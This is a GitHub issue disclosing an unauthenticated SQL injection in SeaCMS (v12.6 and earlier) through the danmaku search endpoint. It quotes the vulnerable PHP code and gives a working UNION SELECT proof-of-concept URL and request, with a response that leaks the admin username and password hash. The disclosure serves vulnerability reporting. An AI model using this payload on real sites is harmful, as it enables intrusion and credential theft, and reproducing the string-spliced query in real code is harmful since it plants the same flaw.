

[New issue](#)[Jump to bottom](#)

SeaCms <= v12.6 /js/player/dmplayer/dmku/index.php has Unauthorized Sql Injection #23

[Open](#)

du1ge opened this issue on Oct 8 · 0 comments

du1ge commented on Oct 8

There is no verification permission for this file

<http://xxx.com/js/player/dmplayer/dmku/index.php>

Request

```
1 GET /Upload/js/player/dmplayer/dmku/index.php?ac=so&key=1 HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie:
9 Upgrade-Insecure-Requests: 1
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 0
12
13
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Sat, 08 Oct 2022 13:34:25 GMT
3 Server: Apache
4 Access-Control-Allow-Origin: *
5 Upgrade: h2
6 Connection: Upgrade, close
7 Vary: Accept-Encoding
8 Content-Length: 30
9 Content-Type: application/json; charset=utf-8
10
11 {
  "code":0,
  "count":0,
  "data":[
  ]
}
```

In line 50, "ac" is passed in through the GET method, the value of ac is "so", and the logic judgment is entered. The parameter key is passed into the function without any filtering: 搜索弹幕

js > player > dmplayer > dmku > index.php

```
41     if ($lock === 0) {
42         $d->添加弹幕($d_data);
43         succeedmsg(23, true);
44     } else {
45         succeedmsg(-2, "发送的太频繁了");
46     }
47 }
48
49
50 if ($_SERVER['REQUEST_METHOD'] === 'GET') {
51     if ($_GET['ac'] == "report") {
52         $text = $_GET['text'];
53         sql::举报_弹幕($text);
54         showmessage(-3, '举报成功! 感谢您为守护弹幕作出了贡献');
55     } else if ($_GET['ac'] == "dm" or $_GET['ac'] == "get") {
56         $id = $_GET['id'] ?: showmessage(-1, null);
57         $data = $d->弹幕池($id) ?: showmessage(23, []);
58         showmessage(23, $data);
59     } else if ($_GET['ac'] == "list") {
60         $data = $d->弹幕列表() ?: showmessage(0, []);
61         showmessage(0, $data);
62     } else if ($_GET['ac'] == "reportlist") {
63         $data = $d->举报列表() ?: showmessage(0, []);
64         showmessage(0, $data);
65     } else if ($_GET['ac'] == "del") {
66         $id = $_GET['id'] ?: succeedmsg(-1, null);
67         $type = $_GET['type'] ?: succeedmsg(-1, null);
68         $data = $d->删除弹幕($id) ?: succeedmsg(0, []);
69         succeedmsg(23, true);
70     } else if ($_GET['ac'] == "so") {
71         $key = $_GET['key'] ?: showmessage(0, null);
72         $data = $d->搜索弹幕($key) ?: showmessage(0, []);
73         showmessage(0, $data);
74     }
75 }
76
```

In the function "搜索弹幕", the parameter key is also brought into the "搜索_弹幕池" without any filtering.

```
js > player > dmplayer > dmku > class > danmu.class.php
38     $arr[$k][] = (string) $v['color']; //字体的颜色
39     $arr[$k][] = (string) $v['cid']; //现在是弹幕id, 以后可能是发送者id了
40     $arr[$k][] = (string) $v['text']; //弹幕文本
41     $arr[$k][] = '1.1.1.1'; //弹幕ip
42     //$arr[$k][] = (string)$v['time']; //弹幕系统时间
43     $arr[$k][] = $date = date('m-d H:i', $v['time']); //弹幕系统时间
44     $arr[$k][] = (string) $v['size']; //弹幕系统大小
45     $arr[$k][] = (string) $v['user']; //弹幕用户
46 }
47
48     return $arr;
49 }
50 public function 搜索弹幕($key)
51 {
52     $data = sql::搜索_弹幕池($key);
53     //print_r($data);
54     if (empty($data)) return null;
55
56     $arr = [];
57     foreach ($data as $k => $v) {
58         // 请不要随意调换下列数组赋值顺序
59         $arr[$k][] = (string) $v['id']; //弹幕id
60         $arr[$k][] = (float) $v['videotime']; //弹幕出现时间(s)
61         $arr[$k][] = (string) $v['type']; //弹幕样式
62         $arr[$k][] = (string) $v['color']; //字体的颜色
63         $arr[$k][] = (string) $v['cid']; //现在是弹幕id, 以后可能是发送者id了
64         $arr[$k][] = (string) $v['text']; //弹幕文本
65         $arr[$k][] = (string) $v['ip']; //弹幕ip
66         //$arr[$k][] = (string)$v['time']; //弹幕系统时间
67         $arr[$k][] = $date = date('m-d H:i', $v['time']); //弹幕系统时间
68         $arr[$k][] = (string) $v['size']; //弹幕系统大小
69         $arr[$k][] = (string) $v['user']; //弹幕系统大小
70     }
71
72     return $arr;
73 }
74 public function 弹幕列表()
```

In the function "搜索_弹幕池", the key is directly spliced into the SQL query statement and causes sql injection.

```
js > player > dmplayer > dmku > class > mysqli.class.php
170         if ($stmt->execute() == false) {
171             throw new Exception($stmt->error_list);
172         }
173         $data = self::fetchAll($stmt->get_result());
174         $stmt->close();
175         return $data;
176     } catch (Exception $e) {
177         showMessage(-1, $e->getMessage());
178     }
179 }
180
181 public static function 搜索_弹幕池($key)
182 {
183     try {
184         $stmt = self::$sql->prepare("SELECT * FROM sea_danmaku_list WHERE text like '%$key%' or id like '%$key%' ORDER BY
185                                     time DESC");
186
187         if ($stmt->execute() == false) {
188             throw new Exception($stmt->error_list);
189         }
190         $data = self::fetchAll($stmt->get_result());
191         return $data;
192     } catch (PDOException $e) {
193         showMessage(-1, '数据库错误:' . $e->getMessage());
194     }
195 }
196
197 public static function 更新_发送弹幕次数($ip, $time = 'time')
```

poc:

[http://xxx.com/js/player/dmplayer/dmku/index.php?](http://xxx.com/js/player/dmplayer/dmku/index.php?ac=so&key=1%27%20union%20select%20null,null,null,null,null,name,null,null,null,password%20from%20sea_admin%20where%20id=1--%20-)

[ac=so&key=1%27%20union%20select%20null,null,null,null,null,name,null,null,null,password%20from%20sea_admin%20where%20id=1--%20-](http://xxx.com/js/player/dmplayer/dmku/index.php?ac=so&key=1%27%20union%20select%20null,null,null,null,null,name,null,null,null,password%20from%20sea_admin%20where%20id=1--%20-)

```
1 GET /Upload/js/player/dmplayer/dmku/index.php?ac=so&key=
  1%27%20union%20select%20null,null,null,null,null,name,null,null,null,password%20from%20sea_admin%20where%2
  0id=1--%20- HTTP/1.1
2 Cache-Control: no-cache
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
4 Host:
5 Accept: */*
6 Accept-Encoding: gzip, deflate
7 Connection: close
8
9
```

```
1 HTTP/1.1 200 OK
2 Date: Sat, 08 Oct 2022 13:51:43 GMT
3 Server: Apache
4 Access-Control-Allow-Origin: *
5 Upgrade: h2
6 Connection: Upgrade, close
7 Vary: Accept-Encoding
8 Content-Length: 96
9 Content-Type: application/json; charset=utf-8
10
11 {
  "code":0,
  "count":1,
  "data":[
    [
      "",
      0,
      "",
      "",
      "",
      ""
    ],
    [
      "01-01 08:00",
      "admin",
      "a79951ae7473cb8b51d2"
    ]
  ]
}
```

Sqlmap:

[illegible]

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

